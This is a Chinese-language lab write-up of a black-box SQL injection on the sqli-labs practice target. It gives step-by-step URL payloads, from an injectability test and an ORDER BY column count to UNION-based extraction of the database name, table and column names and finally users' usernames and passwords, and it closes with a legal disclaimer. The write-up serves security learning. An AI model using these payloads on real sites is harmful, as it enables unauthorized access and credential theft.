SQLI-labs(一)黑盒全流程

1.这个题目是需要我们在URL栏里面自己构造payload进行注入实验的,首先我们要测试是否可注入,返回结果正常表示注入成功,存在漏洞

sql 复制代码
?/id='or'1'='1

2.然后我们要确定列数

# 在浏览器地址栏里有特殊身份------它是"页面锚点",浏览器认为那是页内跳转标记,根本不会发给服务器。所以服务器收到的只是和原来一样。

地址栏打法:把#写成它的编码 %23

sql 复制代码
?/id=1' order by 3%23

这里就可以确定是有三列的数据表,然后我们现在要确认那几列存在文本信息

3.下一步找出口------这里用个小技巧:把 id 换成 0(不存在的用户),让原查询查空,页面上就只剩 union 结果

sql 复制代码
?id=0' union select 1,2,3%23

这里我们已知第二列存在的是用户名,第三列存在的是密码,我们根据这个信息进行注入,但是首先我们还是要先去知道这个数据库的版本信息

4.得到版本信息是security库

sql 复制代码
?/id=0' union select 1,version(),database()%23

5.然后我们去获得这个数据库里面的表单的信息,得到这里有一个users表

sql 复制代码
?id=0' union select 1,convert(group_concat(table_name) using utf8) collate utf8_general_ci,3 from information_schema.tables where table_schema=database()%23

6.接下来我们要去获得这个users表里面有哪些列的数据信息,获取列名,得到我们所需要的username以及password列,我们就直接访问这两列的信息

sql 复制代码
?id=0' union select 1,convert(group_concat(column_name) using utf8) collate utf8_general_ci,3 from information_schema.columns where table_name='users'%23

7.直接访问users表的username和password两列,同时用0x3a隔开,获得用户名以及密码的信息,完成实验

sql 复制代码
?id=0' union select 1,convert(group_concat(username,0x3a,password) using utf8) collate utf8_general_ci,3 from security.users%23

声明:

本文所有实验均在本地个人电脑搭建的合法靶场环境 (DVWA、sqli-labs,通过 phpStudy 本地部署)中完成,未对任何未授权的网站、服务器或系统进行测试。文中涉及的注入技术仅用于个人学习网络安全知识与记录实验过程。

SQL 注入与 XSS 属于违法行为,《中华人民共和国刑法》第 285、286 条对非法侵入计算机信息系统、破坏计算机信息系统罪有明确规定。未经授权对他人系统进行渗透测试,无论是否造成损害,都可能构成犯罪。

文中所有 payload 在合法授权环境之外不具备直接使用价值,且现代框架/ORM 已普遍预防此类基础注入。请读者仅在学习环境中复现,技术是用来防守的。

如有错误欢迎指正,转载请注明出处。

相关推荐
雷焰财经2 小时前
AI开始学会“越界”:当智能体拥有行动能力,人工智能的竞争已经进入安全深水区
人工智能·安全
做运维的阿瑞6 小时前
多表查询基础:INNER JOIN、LEFT JOIN、RIGHT JOIN
数据库·sql·mysql·算法
Seraphina367 小时前
DVWA(SQL注入-low,medium,XSS反射-low)
前端·数据库·笔记·sql·网络安全·web·xss
花青泽8 小时前
Web安全信息收集--总
安全·web安全
jimmyleeee9 小时前
大模型安全之三十九:幻觉防线---- AI 幻觉检测、治理与预防指南
人工智能·安全
梦帮科技10 小时前
可证伪性工程测评与生产部署红蓝对抗:压力测试、长尾鲁棒性与全生命周期安全质检守卫
人工智能·深度学习·神经网络·安全·机器学习·自然语言处理·压力测试
花青泽10 小时前
子域名基础01_地址与域名基础
web安全
花青泽11 小时前
子域名基础02_DNS解析流程_简单版
web安全
姜鱼问生12 小时前
deploy.sh 部署脚本:健康检查 + 自动回滚
安全·github